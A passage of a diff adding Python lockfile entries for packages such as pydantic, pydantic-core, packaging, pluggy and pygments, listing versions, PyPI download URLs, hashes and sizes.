"sha256:dd55b13bfd029e2a8345f7326e4239dcb8b972d2bbd174f422aa0ca59da1ad9c", size = 1096608, upload-time = "2026-08-18T08:14:45.326Z" }, +] + +[[package]] +name = "opentelemetry-api" +version = "1.45.0" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "typing-extensions" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/1f/dc/e12c1fe1ed8a7b7149777127b1a0e12ce5bd5a81d97408bedc2128c260f5/opentelemetry_api-1.45.0.tar.gz", hash = "sha256:711ede81773c8025c2c03dac0450bc89f3d30aea6eabcc815c570d4e35a963f7", size = 72115, upload-time = "2026-09-25T12:32:28.399Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/44/b9/040d1a1c7836922828e6480cd2366bb8fe0ebf75b413d2bb51a9b0e7f78f/opentelemetry_api-1.45.0-py3-none-any.whl", hash = "sha256:80e068aba7cd56c8b58512d6a36f8d25cb1dfaa0c0a4cc1c938ccf9f362d9cb3", size = 60020, upload-time = "2026-09-25T12:32:03.192Z" }, +] + +[[package]] +name = "packaging" +version = "26.3" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/7d/fa/3944b40b07da9ce895c0e6303a5ab7d53da063554f534556b134a54d6093/packaging-26.3.tar.gz", hash = "sha256:94edc256424af38762eb31306eed28beb9f0efc50a8837492c9d6fd6004aed79", size = 313412, upload-time = "2026-08-04T18:15:28.737Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/63/34/ba1c580383c9eada3711951fef0795c80b829a078d72188184bcab9dd527/packaging-26.3-py3-none-any.whl", hash = "sha256:d7193f7c8e4e93f444fde0262bf90af30e16fa0ad0ad44cb553c87339b23cd1c", size = 129956, upload-time = "2026-08-04T18:15:27.159Z" }, +] + +[[package]] +name = "pluggy" +version = "1.6.0" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/f9/e2/3e91f31a7d2b083fe6ef3fa267035b518369d9511ffab804f839851d2779/pluggy-1.6.0.tar.gz", hash = "sha256:7dcc130b76258d33b90f61b658791dede3486c3e6bfb003ee5c9bfb396dd22f3", size = 69412, upload-time = "2025-05-15T12:30:07.975Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/54/20/4d324d65cc6d9205fabedc306948156824eb9f0ee1633355a8f7ec5c66bf/pluggy-1.6.0-py3-none-any.whl", hash = "sha256:e920276dd6813095e9377c0bc5566d94c932c33b27a3e3945d8389c374dd4746", size = 20538, upload-time = "2025-05-15T12:30:06.134Z" }, +] + +[[package]] +name = "pycparser" +version = "3.0" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/1b/7d/92392ff7815c21062bea51aa7b87d45576f649f16458d78b7cf94b9ab2e6/pycparser-3.0.tar.gz", hash = "sha256:600f49d217304a5902ac3c37e1281c9fe94e4d0489de643a9504c5cdfdfc6b29", size = 103492, upload-time = "2026-01-21T14:26:51.89Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/0c/c3/44f3fbbfa403ea2a7c779186dc20772604442dde72947e7d01069cbe98e3/pycparser-3.0-py3-none-any.whl", hash = "sha256:b727414169a36b7d524c1c3e31839a521725078d7b2ff038656844266160a992", size = 48172, upload-time = "2026-01-21T14:26:50.693Z" }, +] + +[[package]] +name = "pydantic" +version = "2.13.5" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "annotated-types" }, + { name = "pydantic-core" }, + { name = "typing-extensions" }, + { name = "typing-inspection" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/53/ef/fc4f868f4e2cee79f863883abffceff107875f569b848507319842d2a681/pydantic-2.13.5.tar.gz", hash = "sha256:51a9c5f7b2f8e636f04c6cada605d9b6a3bf1348fdf945a3d8869b19bba0ee08", size = 845750, upload-time = "2026-08-28T14:04:00.916Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/eb/47/c95ffc2009878c7aac0c5e08528022dcb885933252a88b5f170058014464/pydantic-2.13.5-py3-none-any.whl", hash = "sha256:346a034f080da3755d8e9cb5e00e8b07de1d39e4f6e2c87d8ab7cafa0b269a73", size = 472589, upload-time = "2026-08-28T14:03:59.136Z" }, +] + +[[package]] +name = "pydantic-core" +version = "2.46.5" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "typing-extensions" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/af/f9/8a06bea35ef8daf588f707784c973a7046e0034c8d8cfb08828eeffb8b75/pydantic_core-2.46.5.tar.gz", hash = "sha256:10416c15b8839ecc4ef4d0885da76da6fd0f67333a0eb8aff6d93c4b8f2910fc", size = 472262, upload-time = "2026-08-28T10:01:31.677Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/82/3f/76358795aa7a8c6d4f36e2cb828ad1c90ee118e1393a9281664f5aade9d4/pydantic_core-2.46.5-cp312-cp312-macosx_10_12_x86_64.whl", hash = "sha256:b9fe6fb92520e3fd61f2e49000b6911b188824f089b75973ea06d6267f0b476d", size = 2076516, upload-time = "2026-08-28T09:58:21.576Z" }, + { url = "https://files.pythonhosted.org/packages/db/50/26b091836076ce4cb2fac264186936acc069e0595772cfd02a563bc4761a/pydantic_core-2.46.5-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:a39ac25a9a2fa4072efdb429833c4a4c8009a51ff9eea3eeae131713cd27991e", size = 1922874, upload-time = "2026-08-28T09:58:23.766Z" }, + { url = "https://files.pythonhosted.org/packages/09/f0/2a8ce3849e299d44e2d2c196b6082643a3235565a735cb51db7a6261f614/pydantic_core-2.46.5-cp312-cp312-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:4fdc8b93a41521988916eeaa271173fcca7fa0803d62f87675aac8dcec1c8e29", size = 1951772, upload-time = "2026-08-28T09:58:25.435Z" }, + { url = "https://files.pythonhosted.org/packages/87/46/ac0dc8bdd9e6048183a14eb127764e7ad9240021c17513074a4711b0e31e/pydantic_core-2.46.5-cp312-cp312-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:b98134087d9de723658d17a42c7d0da8d6e2ef08015dee7dc93889047315f5e4", size = 2031832, upload-time = "2026-08-28T09:58:27.102Z" }, + { url = "https://files.pythonhosted.org/packages/c4/c2/339de5bef7be36301a2231eaa52e62163742c2281f11b5f4892bc79785cd/pydantic_core-2.46.5-cp312-cp312-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:e652ab17569c94bff5475520f907b7148b8c24036a8ebbe5cf7cf7493d28579a", size = 2208645, upload-time = "2026-08-28T09:58:28.948Z" }, + { url = "https://files.pythonhosted.org/packages/7b/a0/9ff22b797724262da14427abaed4dd1d864a139693fc5e7809114376a716/pydantic_core-2.46.5-cp312-cp312-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:d925f3d9afd05a8c0fb3a1031463a8d59ebe5e2afad297e29c78be19e13b4e62", size = 2265935, upload-time = "2026-08-28T09:58:30.625Z" }, + { url = "https://files.pythonhosted.org/packages/c0/a4/eb9409ec0736e50aa70a412f16c204ed149516846912f7e6724d4c73ee53/pydantic_core-2.46.5-cp312-cp312-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:0fc5be0abd4a407e200d844b404e33639a554e7bd0d448e7b9ae181be4789ac2", size = 2066284, upload-time = "2026-08-28T09:58:32.289Z" }, + { url = "https://files.pythonhosted.org/packages/c0/02/7f6156ffc926857f1c37c07d9a388682865a81830ab6a1b637082c25e399/pydantic_core-2.46.5-cp312-cp312-manylinux_2_31_riscv64.whl", hash = "sha256:816ff0a6550ffc06c098ccd2e0698600f9aa7da192a79eaa6f9af504a35db869", size = 2105889, upload-time = "2026-08-28T09:58:33.986Z" }, + { url = "https://files.pythonhosted.org/packages/92/b1/e781d357ebe09fc929f995700f1b3503e8897f1cece183ecb1300d4d67e9/pydantic_core-2.46.5-cp312-cp312-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:c7ea57fc63aa7da93a1bd2d644e6577befae10c52c4e36377635eea1056a74f5", size = 2158006, upload-time = "2026-08-28T09:58:35.647Z" }, + { url = "https://files.pythonhosted.org/packages/70/0a/644597d84ab400e50609c192120b85c9681c22d3a20461b9060a79be0a7a/pydantic_core-2.46.5-cp312-cp312-musllinux_1_1_aarch64.whl", hash = "sha256:efd62a42486f1bda5d24cb4f63d15a3c7768375fe83d36f9417b4ad7a2fb20b3", size = 2158408, upload-time = "2026-08-28T09:58:37.38Z" }, + { url = "https://files.pythonhosted.org/packages/1e/ee/ca3b7b3a4b3769ffe9ce9432a7c9be755de9593a46d3b0d54d0409323e44/pydantic_core-2.46.5-cp312-cp312-musllinux_1_1_armv7l.whl", hash = "sha256:2bc9419666990c06d7397831f2126a1ecc3594aaa3ff7de5bf2d066802f4e07b", size = 2309609, upload-time = "2026-08-28T09:58:39.22Z" }, + { url = "https://files.pythonhosted.org/packages/ce/52/39fa1f451486019524ca685020390e7ca351832fd874530ba30c8628e6dc/pydantic_core-2.46.5-cp312-cp312-musllinux_1_1_x86_64.whl", hash = "sha256:18a09e1e1011b462f2e32774f25859ef1223d5c2b0546a633cf56654710721e0", size = 2342618, upload-time = "2026-08-28T09:58:40.89Z" }, + { url = "https://files.pythonhosted.org/packages/81/5e/468fc630568c61dcef3cd47ad32ffbeed9af643f49208d1ea86ab4f890c4/pydantic_core-2.46.5-cp312-cp312-win32.whl", hash = "sha256:5cb482e9e84c851f4e623fe4acc1ced89168cf1fe18f7089db4548c8f5bbb65b", size = 1939475, upload-time = "2026-08-28T09:58:42.591Z" }, + { url = "https://files.pythonhosted.org/packages/cf/c9/4c19f41b84cf6b622a72fbeed7665b25d47a187d68d47d0d430c07f23268/pydantic_core-2.46.5-cp312-cp312-win_amd64.whl", hash = "sha256:5e81740c09e310f5aa5cbd3e434a01c154d4bef93241c7877b39f211d2b78ba8", size = 2043140, upload-time = "2026-08-28T09:58:44.272Z" }, + { url = "https://files.pythonhosted.org/packages/af/dd/0c1a050299147c746e5256db16d645ab5efd4f78c59937d581a0524e74a2/pydantic_core-2.46.5-cp312-cp312-win_arm64.whl", hash = "sha256:f7b0ec93a2893de856652154d73b7ba622f26fa97726487dcac373de5f4c6084", size = 1997729, upload-time = "2026-08-28T09:58:46.13Z" }, + { url = "https://files.pythonhosted.org/packages/f5/37/5abe39a8372a61d3dc3c1338fc504281c01b32fdb3169cd7187153b56d3e/pydantic_core-2.46.5-cp313-cp313-macosx_10_12_x86_64.whl", hash = "sha256:b7ca9034437b6022f941f4857459562ee00a560b97e7cce8a0ec5a74fc6766e0", size = 2075885, upload-time = "2026-08-28T09:58:47.856Z" }, + { url = "https://files.pythonhosted.org/packages/21/43/6323b1f8b217780454c61304bcd2b38ae4762f50754414124603ccc90bb2/pydantic_core-2.46.5-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:f332f0e72a5a0400141f830744e141bf9f97917878dbe968669e8a7fefea78ff", size = 1922768, upload-time = "2026-08-28T09:58:49.58Z" }, + { url = "https://files.pythonhosted.org/packages/0f/a3/c05ca796e1197618a774b01e596aeedfefc2f7d8c01ae3054e910b120e8a/pydantic_core-2.46.5-cp313-cp313-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:193375f3548919d3f0b60936ca113ada3e38f264f91b9b8e0508efaad57be931", size = 1951241, upload-time = "2026-08-28T09:58:51.511Z" }, + { url = "https://files.pythonhosted.org/packages/68/32/33bc39ac705c52cffc908e8389f9754fdb208aea5c69cceddf4eb3ce99af/pydantic_core-2.46.5-cp313-cp313-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:79bdfa52f843137045b2d081cc05c120ba6665d29b7559c2c47690906f39279f", size = 2031975, upload-time = "2026-08-28T09:58:53.166Z" }, + { url = "https://files.pythonhosted.org/packages/b0/70/2333e885c0f6a67bc105c5916965dac9b57f2718ee20d81d1a06a4ebdc13/pydantic_core-2.46.5-cp313-cp313-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:24922243639cbdac66c75fcb6fd6495a9cb52b213d62f9a0d16f0310b1ff8038", size = 2208542, upload-time = "2026-08-28T09:58:55.017Z" }, + { url = "https://files.pythonhosted.org/packages/f7/ea/296debfb4264207bbda5936133892e027c0a58875ad53ebd512fba8ec3a2/pydantic_core-2.46.5-cp313-cp313-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:c76fe65e607be28c7fd4d56fc3c42b1583aa058ce3408b7ad0fd540171d31f9f", size = 2264692, upload-time = "2026-08-28T09:58:56.767Z" }, + { url = "https://files.pythonhosted.org/packages/d3/f2/9e4de77a6271e07a76d2d58b11c091a979c191ed2939bf80067568b369d2/pydantic_core-2.46.5-cp313-cp313-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:6f7b393a8b3da82f5c1fc0751e6d01ac6c55b93c18226a60bdfba4a724efafd1", size = 2066633, upload-time = "2026-08-28T09:58:58.531Z" }, + { url = "https://files.pythonhosted.org/packages/8d/db/f9e9d0c97445987b2084823d5c240de88087338f04fc2cfaa2df186b8049/pydantic_core-2.46.5-cp313-cp313-manylinux_2_31_riscv64.whl", hash = "sha256:7ac031912d54f3d83ef3b3eb98dfabc1608802e2202263d25957eeed40b94761", size = 2105235, upload-time = "2026-08-28T09:59:00.421Z" }, + { url = "https://files.pythonhosted.org/packages/07/c5/79169b047b3b2c3e99e04bc76372af9637e0bf6db638274fa927df96369e/pydantic_core-2.46.5-cp313-cp313-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:837b396ca3d7b74091ca623f6cbd8351bd42d670a79c2683e79fb089f06a2de5", size = 2157367, upload-time = "2026-08-28T09:59:02.442Z" }, + { url = "https://files.pythonhosted.org/packages/26/b5/ba6057afb7c291bd449f51b867f95aef2072941c4ce4e5c31d6ffd132d3b/pydantic_core-2.46.5-cp313-cp313-musllinux_1_1_aarch64.whl", hash = "sha256:5ee239d575f80b08eca11f6e20f90c4c695de7825c67eefe6091fbf20dda648e", size = 2158420, upload-time = "2026-08-28T09:59:04.2Z" }, + { url = "https://files.pythonhosted.org/packages/6e/28/2057abecaafdc22912afa819603a51f0a62d40643b7c4871c51721fea9be/pydantic_core-2.46.5-cp313-cp313-musllinux_1_1_armv7l.whl", hash = "sha256:e80675d75ae2cd14372cb65cad5400d9347a3d3f6c13000183f22dfd027283ed", size = 2309588, upload-time = "2026-08-28T09:59:06.048Z" }, + { url = "https://files.pythonhosted.org/packages/71/9d/881156dc404e27479c4246128d73538464cab4a239bec61995e227644c30/pydantic_core-2.46.5-cp313-cp313-musllinux_1_1_x86_64.whl", hash = "sha256:9c4b71f10dd532fb7a5cbc8f58707779e64f03a258c2bf8bfbaecfcd9970b519", size = 2341866, upload-time = "2026-08-28T09:59:08.539Z" }, + { url = "https://files.pythonhosted.org/packages/5a/38/d66f443a259f84d13babdceae568e572b0ed26da17ca5d0a649ebb110a67/pydantic_core-2.46.5-cp313-cp313-win32.whl", hash = "sha256:97bf8de4d541598c94a59344eeb988a94c08ff76b5723c41f6567ec18c7892ea", size = 1938580, upload-time = "2026-08-28T09:59:10.402Z" }, + { url = "https://files.pythonhosted.org/packages/2c/1e/1d5371213f4cc9a7ed70c0bfcc7911de22311ee99a662a56077d7292d2ac/pydantic_core-2.46.5-cp313-cp313-win_amd64.whl", hash = "sha256:15f4a94963c95accac15b7b657bb177d3ad82bb90b0d0526d9a9b85079925db5", size = 2041980, upload-time = "2026-08-28T09:59:12.396Z" }, + { url = "https://files.pythonhosted.org/packages/5a/48/4222d90b1c67568bace4dec6dca6271449c66de3595d72b6d098f5fde597/pydantic_core-2.46.5-cp313-cp313-win_arm64.whl", hash = "sha256:d22a945598fb91236b4dd793a6e42e4f3dd7740bb5aace5ebd7d4c08d13bb575", size = 1997213, upload-time = "2026-08-28T09:59:14.245Z" }, + { url = "https://files.pythonhosted.org/packages/8e/8a/14596f2a8367da50cf7cbac48169ee5d9c8e11d486a3b527082384630c72/pydantic_core-2.46.5-cp314-cp314-macosx_10_12_x86_64.whl", hash = "sha256:c1c43ad4339643d70ebb8124e1305a7dab423001eff58bb41a0f731adbc98355", size = 2074081, upload-time = "2026-08-28T09:59:16.141Z" }, + { url = "https://files.pythonhosted.org/packages/ae/d5/d8a4eb6d6c7f66b91dd37c576d76e9e60fba900caf5372c17bcf949febc2/pydantic_core-2.46.5-cp314-cp314-macosx_11_0_arm64.whl", hash = "sha256:1a353f84de772f423b5ffb11d7ae352fbbef0f446f3c0b0af0f8236d7233606e", size = 1920497, upload-time = "2026-08-28T09:59:18.065Z" }, + { url = "https://files.pythonhosted.org/packages/8e/26/092079428f86e927e030b2c0ced87df69dbb1c875cdeaa67bf42ea2be746/pydantic_core-2.46.5-cp314-cp314-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:5086029a57366b8cf81b130a43908738095c270c21a8d7f0e8bdfdb89718e2f3", size = 1952130, upload-time = "2026-08-28T09:59:20.476Z" }, + { url = "https://files.pythonhosted.org/packages/08/c3/8ec0e290a9ebaebd64047bf5fda94be835c6b1551b02437e4b76778fbcd7/pydantic_core-2.46.5-cp314-cp314-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:46c25dda9d092a06c08db76ffe0a197107904d0dfac653f7d5306bbcd6d6119c", size = 2026371, upload-time = "2026-08-28T09:59:22.227Z" }, + { url = "https://files.pythonhosted.org/packages/01/72/4fd20ad520fb8da0157f95b27a7eb05a72790ef08138e7701ac972c342ea/pydantic_core-2.46.5-cp314-cp314-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:37ea7b83c935e5b0d68c9449b82651accf78a10828b2c02b2f2d9e9496446c21", size = 2202822, upload-time = "2026-08-28T09:59:24.277Z" }, + { url = "https://files.pythonhosted.org/packages/31/b0/d16e0771206b29314f0d52198b720be21e8a99ab2bf11e3bc0d7c9cebdff/pydantic_core-2.46.5-cp314-cp314-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:e64e88d5585bea9ce95861079de72006c7fa6d3df4e3a3b65ba31eb979c15c9f", size = 2262756, upload-time = "2026-08-28T09:59:26.608Z" }, + { url = "https://files.pythonhosted.org/packages/2c/9b/59634b7ac631c63b2a37760eb6943af3e29573d6b59a4abc5e7f019d4cee/pydantic_core-2.46.5-cp314-cp314-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:54d510bac3ee52247af28ed4bb18a1e799f040ac60fd2bf5ccd4c92f1fbe786f", size = 2068352, upload-time = "2026-08-28T09:59:29.044Z" }, + { url = "https://files.pythonhosted.org/packages/08/7c/570abb1ad2155348dc754ea91be22e5aaa18eb6d69a6068f7c6f2679a6ed/pydantic_core-2.46.5-cp314-cp314-manylinux_2_31_riscv64.whl", hash = "sha256:a2a5e1d0ff29adddc9f6d6821a66302e4493f8ca898b715b6b1182c2c201ea0a", size = 2104777, upload-time = "2026-08-28T09:59:30.95Z" }, + { url = "https://files.pythonhosted.org/packages/8e/25/5bf74adc65a1ac5b7be3f6cb0bcb5433615c1598a801c19d830d84c98ded/pydantic_core-2.46.5-cp314-cp314-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:03b9666e41e35d8909852ba191a0607520f81b74eaf12ccf8737005dbb313821", size = 2156312, upload-time = "2026-08-28T09:59:32.604Z" }, + { url = "https://files.pythonhosted.org/packages/90/6a/2ef38830675e050121040618135564ed56b860b45433b02d9b4ebece46f3/pydantic_core-2.46.5-cp314-cp314-musllinux_1_1_aarch64.whl", hash = "sha256:a91c17edf6eea2402cb5457b4c89e99bc5ed1004aa34c4adf1d4258c1a5c22c2", size = 2150067, upload-time = "2026-08-28T09:59:34.453Z" }, + { url = "https://files.pythonhosted.org/packages/90/ef/a7dbb03a14a64c2a4621f989c615ed9a892535a6cad938fc27079f919d80/pydantic_core-2.46.5-cp314-cp314-musllinux_1_1_armv7l.whl", hash = "sha256:b49924c73a235e969511bf2aabdff3beebf9820931f646c80274d5d780010c47", size = 2304516, upload-time = "2026-08-28T09:59:36.194Z" }, + { url = "https://files.pythonhosted.org/packages/68/f8/6bb4c4b80e8a6fde1904c64a51c62a1d04fcdfa3ea521a66b2ddefa1d885/pydantic_core-2.46.5-cp314-cp314-musllinux_1_1_x86_64.whl", hash = "sha256:2cbd9a5eff05e51c447c34dfa4632145b26b09120cf04bd0c871e44c1a5e1c9a", size = 2335223, upload-time = "2026-08-28T09:59:37.931Z" }, + { url = "https://files.pythonhosted.org/packages/2a/80/f46b8c681195190b2c1f1c7c0a81abce60663e987613e09ef64d433dd96b/pydantic_core-2.46.5-cp314-cp314-win32.whl", hash = "sha256:2d5d76654becf5efd62c9e51c3756c67b49498b0c9a40884934c40807adbd074", size = 1934827, upload-time = "2026-08-28T09:59:39.836Z" }, + { url = "https://files.pythonhosted.org/packages/f7/3c/60674207246bc0a4009d2391b7c7251c7159f279c8d2ab8aae8ef46f3dee/pydantic_core-2.46.5-cp314-cp314-win_amd64.whl", hash = "sha256:fa10ef4112775900e7a0661068635eb67b2ab824fbde764de6e0e21982a93db0", size = 2042648, upload-time = "2026-08-28T09:59:41.792Z" }, + { url = "https://files.pythonhosted.org/packages/69/0c/117c562c7c1babdf44576b72a5e496906506c93690387ecfbca7c729ae2e/pydantic_core-2.46.5-cp314-cp314-win_arm64.whl", hash = "sha256:045ab3b6d308439e32b81cc173bba5b9018bc6ed896afd0c65b3b009b1699af5", size = 1989652, upload-time = "2026-08-28T09:59:43.702Z" }, + { url = "https://files.pythonhosted.org/packages/e8/66/9336ae58f9eb68c41d121894e52c4c89eccb07eb8f602a04ee9c3f37736a/pydantic_core-2.46.5-cp314-cp314t-macosx_10_12_x86_64.whl", hash = "sha256:8816f3d218beb4b787de5c9759c259b8fa61f9dec42dc7811f320a33771778b7", size = 2065829, upload-time = "2026-08-28T09:59:45.364Z" }, + { url = "https://files.pythonhosted.org/packages/c5/02/bc19b47a96c2d3109760711acf22369e56bd7e405ca52f7ade164d2ead57/pydantic_core-2.46.5-cp314-cp314t-macosx_11_0_arm64.whl", hash = "sha256:bce57638e08ac148e5778cce7feb968307a727d66f8e2274a543d0cf0c9ad6a3", size = 1905716, upload-time = "2026-08-28T09:59:47.18Z" }, + { url = "https://files.pythonhosted.org/packages/52/a4/70b47c0509923dd98ccfed04fb3e32ea3849c82a0ff2205bb41009b43c00/pydantic_core-2.46.5-cp314-cp314t-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:976e1128455aa595ea04c79ccfedff1aaeab96ee013fcc916bed120c4f0ad94f", size = 1934216, upload-time = "2026-08-28T09:59:49.241Z" }, + { url = "https://files.pythonhosted.org/packages/52/ab/aa03b65f7bb198585edf806b906c3223ecf1795543e39e23aec4cce27ad2/pydantic_core-2.46.5-cp314-cp314t-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:e7b891faeedeafba41b2983e5001a81b6a915b69544c7e7570d1989ce1c36ac7", size = 2010635, upload-time = "2026-08-28T09:59:51.692Z" }, + { url = "https://files.pythonhosted.org/packages/3c/8b/0da06343f30b84ec549aafd309c6456223d5dc8bd36af504c573faad561d/pydantic_core-2.46.5-cp314-cp314t-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:5f194189415698233dd1114a093a9b56e61e2c57e11b469be3b0506f46f0771c", size = 2209369, upload-time = "2026-08-28T09:59:53.582Z" }, + { url = "https://files.pythonhosted.org/packages/d6/5b/844c4defaa34a3df66eb9257087d121d70c201298b96abdf9f492fc2f1bf/pydantic_core-2.46.5-cp314-cp314t-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:82a36973cf8a2ef5406f4fe2edbf8ed0c99629535d959e0b100c76a32535a111", size = 2253238, upload-time = "2026-08-28T09:59:55.484Z" }, + { url = "https://files.pythonhosted.org/packages/f4/64/a4e536cb16d7f61a7fd3120b46c577fc7fa7325992f69c4f52bc786d77d8/pydantic_core-2.46.5-cp314-cp314t-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:cdbb78909f52b981d3b2d56b97328d71eb0b974c36bd77c920123a7ebb192829", size = 2065740, upload-time = "2026-08-28T09:59:58.038Z" }, + { url = "https://files.pythonhosted.org/packages/5f/75/aaa38c6bc2d085f6605b34eabdc6a8a4e0b2e61fc9c8e6e52b28e97b3125/pydantic_core-2.46.5-cp314-cp314t-manylinux_2_31_riscv64.whl", hash = "sha256:52e24eacdb536cade636aa90fb851835222becff8484b7001fdc78cb0290f2aa", size = 2087425, upload-time = "2026-08-28T09:59:59.898Z" }, + { url = "https://files.pythonhosted.org/packages/55/ae/fcab4cfc39aba3689e1d20c8b5250ad280957022c09af2ed9cd585602a5e/pydantic_core-2.46.5-cp314-cp314t-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:37ae34309d7bd8c0d61ab839668058f2a7962ea1fc51d105d2db228fe0618034", size = 2139306, upload-time = "2026-08-28T10:00:03.057Z" }, + { url = "https://files.pythonhosted.org/packages/2d/f4/f1d03a4bc9d9acbc62f4d742b8a319af52f71885079868b2ff8e48a651ee/pydantic_core-2.46.5-cp314-cp314t-musllinux_1_1_aarch64.whl", hash = "sha256:0cdbada856a1c69a7624a64d3d9aefe79300bd6ef827b43a4f265010b9b55184", size = 2144589, upload-time = "2026-08-28T10:00:05.645Z" }, + { url = "https://files.pythonhosted.org/packages/83/f3/7a53bb1356de514a4cd295f25b6ac39237895620c0462d2592b76c16e114/pydantic_core-2.46.5-cp314-cp314t-musllinux_1_1_armv7l.whl", hash = "sha256:545f26c504b27c3758439a5e6d9349931f0a04f855668d5fe323c89e82300a38", size = 2288882, upload-time = "2026-08-28T10:00:07.931Z" }, + { url = "https://files.pythonhosted.org/packages/cd/94/5a81583660c175c59d49ffb09f4b3a44debeaf86a19fca664ae1cdd9ee32/pydantic_core-2.46.5-cp314-cp314t-musllinux_1_1_x86_64.whl", hash = "sha256:ff218293c9c806138dca139765e3b067621be52bcd93cdc14c7711be7ddc90a9", size = 2335210, upload-time = "2026-08-28T10:00:10.177Z" }, + { url = "https://files.pythonhosted.org/packages/5a/9f/5d685c2693b972d1a59c998586e8823712b66603aeff47ee60a4bdaafd37/pydantic_core-2.46.5-cp314-cp314t-win32.whl", hash = "sha256:97cf3eb53a8cccacf9d46686a0926186c9bfb5574f2ed66d3639d5fe117cd3a9", size = 1921180, upload-time = "2026-08-28T10:00:12.35Z" }, + { url = "https://files.pythonhosted.org/packages/70/12/5c94ee16d65a37a15f9e869f5e6256df111154491173801a4c5e800ab548/pydantic_core-2.46.5-cp314-cp314t-win_amd64.whl", hash = "sha256:d2f9fc07a8042a8f95925b35c4f04f469707c981fc33245b6ca187cf5d2dd290", size = 2020515, upload-time = "2026-08-28T10:00:14.774Z" }, + { url = "https://files.pythonhosted.org/packages/63/19/67830dda664e6bdf9285ee2e40f355d0d7d6b92aa0c42e8d217bb8d33d36/pydantic_core-2.46.5-cp314-cp314t-win_arm64.whl", hash = "sha256:acf8a67ba51f4ca9ddbd0e6b3000a65ac51ab734661778b3e7ba64d99a710f2f", size = 1989276, upload-time = "2026-08-28T10:00:16.984Z" }, + { url = "https://files.pythonhosted.org/packages/df/dd/053c2e4303f791f3b8f8a14ab0b22008e8eb21d868c0c90b4f9be705b76a/pydantic_core-2.46.5-graalpy312-graalpy250_312_native-macosx_10_12_x86_64.whl", hash = "sha256:013d6f3483d81e02e7c328831808f336c8596ee33b4bd4026b9ffb1e960b8942", size = 2062540, upload-time = "2026-08-28T10:01:00.318Z" }, + { url = "https://files.pythonhosted.org/packages/d7/dd/a18df751a5e37dd51bfad7f68e766999125bebe68c9e1d10a493ad01bd63/pydantic_core-2.46.5-graalpy312-graalpy250_312_native-macosx_11_0_arm64.whl", hash = "sha256:e9c134bb666dd54b778b9fc0d2b50cbb7f979b9e3716f26a88c9ab3b6fc1dd0f", size = 1902040, upload-time = "2026-08-28T10:01:02.529Z" }, + { url = "https://files.pythonhosted.org/packages/b7/13/01d40f9d07ce8a779fd6e0bd8ad4fba91309500dd67b869e2e219d261a6d/pydantic_core-2.46.5-graalpy312-graalpy250_312_native-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:347ec774390c87326a2e4929d58d3f7e8763a104d5d35f4cd595a4c952366433", size = 1967479, upload-time = "2026-08-28T10:01:05.004Z" }, + { url = "https://files.pythonhosted.org/packages/fa/04/c81d4841331c2178b6fb09ae225425e110ed72d990c9fe556c4ec03d1013/pydantic_core-2.46.5-graalpy312-graalpy250_312_native-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:8e24d8f05fa2d28513d94e877e9c75ad66175376209b3977f916e240e623193c", size = 2111034, upload-time = "2026-08-28T10:01:07.345Z" }, +] + +[[package]] +name = "pygments" +version = "2.21.0" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/49/2e/ced460408999b33da6b31b0021b0f37d329e202d4169aeb164493778f25b/pygments-2.21.0.tar.gz", hash = "sha256:610ca751c9bc2492b38eb9a38a7fbc93edbbb2d7182edaf34e66ae493dee5c8c", size = 5005329, upload-time = "2026-08-17T08:02:48.824Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/71/46/17f022dd3e953bf20a04a028a21ec746d942f8d2af30fa0f124fa0e6a684/pygments-2.21.0-py3-none-any.whl", hash = "sha256:2363c69b61c4a97c838da3b130dcd6468f4848992b21a82f2a63ec34377137d9", size = 1250147, upload-time = "2026-08-17T08:02:44.912Z" }, +] + +[[package]] +name = "pyjwt" +version = "2.15.0" +source = { registry = "https://pypi.org/simple" } +sdist = { url = 